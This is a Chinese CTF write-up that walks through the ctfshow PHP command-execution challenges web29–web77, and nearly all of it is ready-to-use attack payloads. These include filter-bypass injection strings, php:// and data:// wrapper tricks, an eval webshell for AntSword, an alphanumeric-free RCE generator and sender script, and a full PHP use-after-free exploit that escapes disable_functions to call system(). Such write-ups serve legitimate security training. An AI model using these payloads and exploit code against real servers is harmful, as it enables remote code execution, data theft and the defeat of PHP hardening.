命令执行(ctfshow)

ctfshow

类型一:变量c来接受并过滤传入的数据,eval函数来执行

web29

使用通配符*或?或’’等等绕过flag

payload 
1.c=system("cat f*");
2.c=echo `cat f*`;
3.c=echo `nl fl''ag.php`;或c=echo `nl fl""ag.php`;//nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号
4.c=echo `nl fl\ag.php`;   //转义字符绕过
5.c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php //通过变量赋值直接绕过c的过滤
?ip=127.0.0.1;cat `ls` //内联执行,就是将反引号内命令的输出作为输入执行
cp fla{g.php,G}    //把flag.php复制为flaG
6.c=`c'a't /flag` //绕过字符串的过滤

可以读取文件的函数:

readfile()		读取文件 
highlight_file()	读文件 
show_source()		同上 
base64_decode()		base64解码 
strrev()		反转字符串
include()		文件包含,可以不使用括号
require()		完全可以替代include()

web30

payload ?c=echo `cat f*`;

其他可代替system函数:

system()
passthru() 
exec() 
shell_exec() 
popen() 
proc_open()
pcntl_exec() 
反引号 同shell_exec()

web31

payload c=echo%09`tac%09f*`;

文件读取命令

sort:	文件排序并输出也可以查看内容
more:	一页一页的显示档案内容
less:	与 more 类似 head:查看头几行
tac:	从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:	查看尾几行
nl:	显示内容,顺便输出行号
od:	以二进制的方式读取档案内容
vi:	一种编辑器,这个也可以查看
vim:	一种编辑器,这个也可以查看
uniq:	可以查看 file -f:报错出具体内容
grep	grep { flag.php打印有”{“的一行
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings。通常用法:strings\$IFS\$9f*(必须加转义字符)
paste	把每个文件以列对列的方式,一列列地加以合并
sed	一种编辑器,可以用sed -f flag.php读取flag
awk
curl
cut

linux绕过空格

cat%09flag  //tab
{cat,flag.txt} 
cat${IFS}$9flag.txt  //$IFS在linux下表示为空格
cat{IFS}flag.txt
cat$IFSflag.txt
cat${IFS}flag.txt
cat$IFS$1flag.txt //$1改成$加其他数字都行
catIFSflag.txt
cat<flag.txt 
cat<>flag.txt 
ca\t fl\ag

web32

payload 1.c=include$_GET[1]?>&1=data://text/plain,<?php system("ls");?> 
        2.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
        3.c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

include可以不用括号,分号用?>代替

web33-36

这四关都可以前面的payload,36关只需把1换成a就行了

payload 1.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
        2.c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php总比较常用的可以不加括号的函数有:

`echo`、`print`、`isset`、`unset`、`include`、`require`

类型二:变量c接收并过滤传入的数据,include来包含文件

web37

这关要用到php伪协议data://

payload ?c=data://text/plain,<?php system("cat f*");?>
        ?c=data:,<?php @eval($_POST['shell']); ?>  //可以直接用蚁剑连接

web38

过滤了php和file,可以用<?=或进行base64编码

payload c=data://text/plain,<?=system("cat f*");?>
        c=data:text/base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpOw==

web39

payload c=data://text/plain,<?php system("cat fla*");?>

.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40 属于类型一

此题考察无参数函数构造,参考大佬们写的:

函数:print_r(scandir(‘.’))可以用来查看当前目录所有文件名,我们要做的是将括号中的.替换掉

localeconv()函数返回一包含本地数字及货币格式信息的数组,如下只是该函数的一部分数组元素

可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir(‘.’))中的参数 .
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:

current()函数返回数组中的当前元素/单元,默认取第一个值; 
pos()函数同上,是current()函数的别名; 
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE

可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

payload ①?c=print_r(scandir(pos(localeconv())));
        ②?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

更多操作参考https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

web41 属于类型一

这关是无字母数字命令执行

p神原话:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

以下参考https://blog.csdn.net/Sapphire037/article/details/121054836

通过代码审计我们可以知道这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,但是留了一个|也就是或运算还可以用,这个时候利用Y4师傅和羽师傅的脚本结合,即可很方便的做出来这题。先看Y4师傅的脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    fwrite(STDOUT,'[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }
                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }
        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

再利用羽师傅的脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php E:\Download\phpstudy_pro\WWW\rce.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open(r"E:\Download\phpstudy_pro\WWW\rce.txt", "r")#填txt的文件位置
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)
while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

上面就注意下php脚本的位置和生成的rce.txt的位置还有接受的参数比如上面是c,换个参数就把c改了就行

那么完整流程就是

1.先改一下php脚本中generate函数里的参数,也就是设置模式和正则
2.python rce_.py url

可以看看p神的博客

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

类型三:接受并过滤传入的变量拼接命令执行(system函数)

web42

>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”,我们写入的命令的执行结果会被黑洞吞掉。

分隔符变量拼接可以用分隔符来控制后面语句的执行

分割符

; 分号顺序执行
&& 顺序执行
|| 前边执行成功则不再执行
换行符(在url中是%0a)
& (在url中是%26)

注意,通过url传递&&时要记得urlencode为%26%26,否则会被当作url参数的分隔符而不是shell命令的分隔符。

payload c=cat flag.php%26

web43

过滤了cat,用tac替换

paylaod c=tac flag.php%26

web44

payload c=tac f*%26

web45

用%09替换空格

paylaod c=tac%09f*%26

常见的空格替换

%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>

web46

过滤了*和数字

payload c=tac%09fla''g.php||
        c=tac%09fl[a-z]g.php||

%09解码后是水平制表符,而不是数字

web47-49

payload c=tac%09fla''g.php||

web50

屏蔽了x09和x26,也就是屏蔽了%09和%26,用其他方式绕过空格,这关用不了[a-z]了

payload c=tac<>fl\ag.php||

web51

tac被ban了

payload c=ta''c<>fla\g.php||
        c=ta\c<>fla\g.php||
        c=nl<>fla\g.php||

web52

<>尖括号被过滤了但是$没过滤

?c=ls${IFS}../../../||   //flag在根目录
c=ta\c${IFS}../../../fl\ag||

web53

多过滤了wget,没影响

payload ?c=ta\c${IFS}fla\g.php

注意,这一关没有了黑洞

web54

1.可以使用grep命令:

?c=grep${IFS}ctf${IFS}fl?g.php

2.可以使用mv命令

?c=mv${IFS}fl?g.php${IFS}a.txt  //直接访问a.txt
  1. /bin下存放一些普通的基本命令,可以使用通配符去调用命令
?c=/bin/?at${IFS}f???????

web55

方法一:通过匹配bin下存在的命令进行读取flag。
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

payload ?c=/???/????64 ????.???					//也就是?c=/bin/base64 flag.php

方法二:bzip2的使用

payload:?c=/???/???/????2 ????.???					//也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

注:/bin 是所有用户都可以访问并执行的可执行程序。包括超级用户及一般用户。
/usr/bin 是系统安装时自带的一些可执行程序。即系统程序。

方法三:

可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php?????[@-[](上传的文件在linux下面一般保存在/tmp/php??????一般后面的6个字符是五个小写加一个大写,大写可以通过linux的匹配符去匹配,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。)
注意:通过.去执行sh命令不需要有执行权限
需要先构造一个post上传文件的数据包。

<!DOCTYPE html><html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
 <label for="file">文件名:</label>
 <input type="file" name="file" id="file"><br>
 <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包并修改文件内容改为shell命令,并且传入c参数:

可以看看p神的无字母数字提高篇https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

web56

过滤了数字,使用前一关的第三种方法即可

web57

这关需要构造出36。

$(()) 代表做一次运算,因为里面为空,也表示值为0

$((~$(())))对0作取反运算,值为-1(如果对a按位取反,则得到的结果为-(a+1))
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2

写个脚本生成payload:

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

web58-65

禁用了一些函数,直接读取文件

首先获取文件路径

c=print_r(scandir(dirname('./')));
c=var_dump(scandir('./'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}}
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };

php读取文件函数:

file()			把整个文件读入一个数组中
readfile()		读取文件
fpassthru()		读取文件
highlight_file()	读文件
show_source()		同上
base64_decode()		base64解码
strrev()		反转字符串
php_strip_whitespace()  返回删除注释和空格后的PHP源码
file_get_contents()   将整个文件读入一个字符串
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码

示例:
echo file_get_contents("flag.php");   
print_r(file('flag.php'));
var_dump(file('flag.php'));
include('flag.php');echo $flag;
var_dump(glob("*flag*")); // 寻找与模式匹配的文件路径
include('flag.php');var_dump(get_defined_vars()); //get_defined_vars()函数返回由所有已定义变量所组成的数组。

通过fopen读取文件内容

fread()		
fread($file,100)     	读取打开的文件,读取100个字节
fgets()			读取一行
fgetc()			读取一个字符
fgetss()
fgetcsv()		读取一行
gpassthru()

payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

也可以通过复制,重命名读取php文件内容

copy("flag.php","flag.txt");             
rename("flag.php","flag.txt");

还可以直接用蚁剑连接。

web66

show_source()被ban了,使用highlight_file(),这次的flag在flag.txt里,先查目录,再进文件。

c=print_r(scandir('../../../'));
c=highlight_file('../../../flag.txt');

web67

print_r被ban了

c=var_dump(scandir('../../../'));
c=highlight_file('../../../flag.txt');

web68

highlight_file()被ban了,但因为flag在txt里,所以可以用include()

c=var_dump(scandir('../../../'));
c=include('../../../flag.txt');

web69-70

print_r()和var_dump()都被ban了,用其他方式读目录

c=$a=opendir('./');while(($file=readdir($a))!==false){echo $file.“</br>”;};
c=include('/flag.txt');

web71

下载附件

ob_get_contents — 返回输出缓冲区的内容 
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
payload c=include("/flag.txt");exit();

web72

尝试读取根目录

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空。
ini_set()用于设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。但是这题也给ban了。
那么可以使用glob伪协议绕过open_basedir

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

然后可以看到flag文件名为flag0.txt,但是由于open_basedir的限制,还是不可以直接include进来,需要想其它的办法。使用UAF。脚本如下:记得要把c=之后的内容url编码:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);              
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);    
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73-74

扫描目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";};exit(); //跟着别的教程走了半天,最后发现这两关没有被open_basedir限制

直接用include

c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);

web75-76

直接include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

看大佬说是要用到使用PHP7.4以上才有的FFI进行命令执行

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

参考:https://www.php.cn/php-weizijiaocheng-415807.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。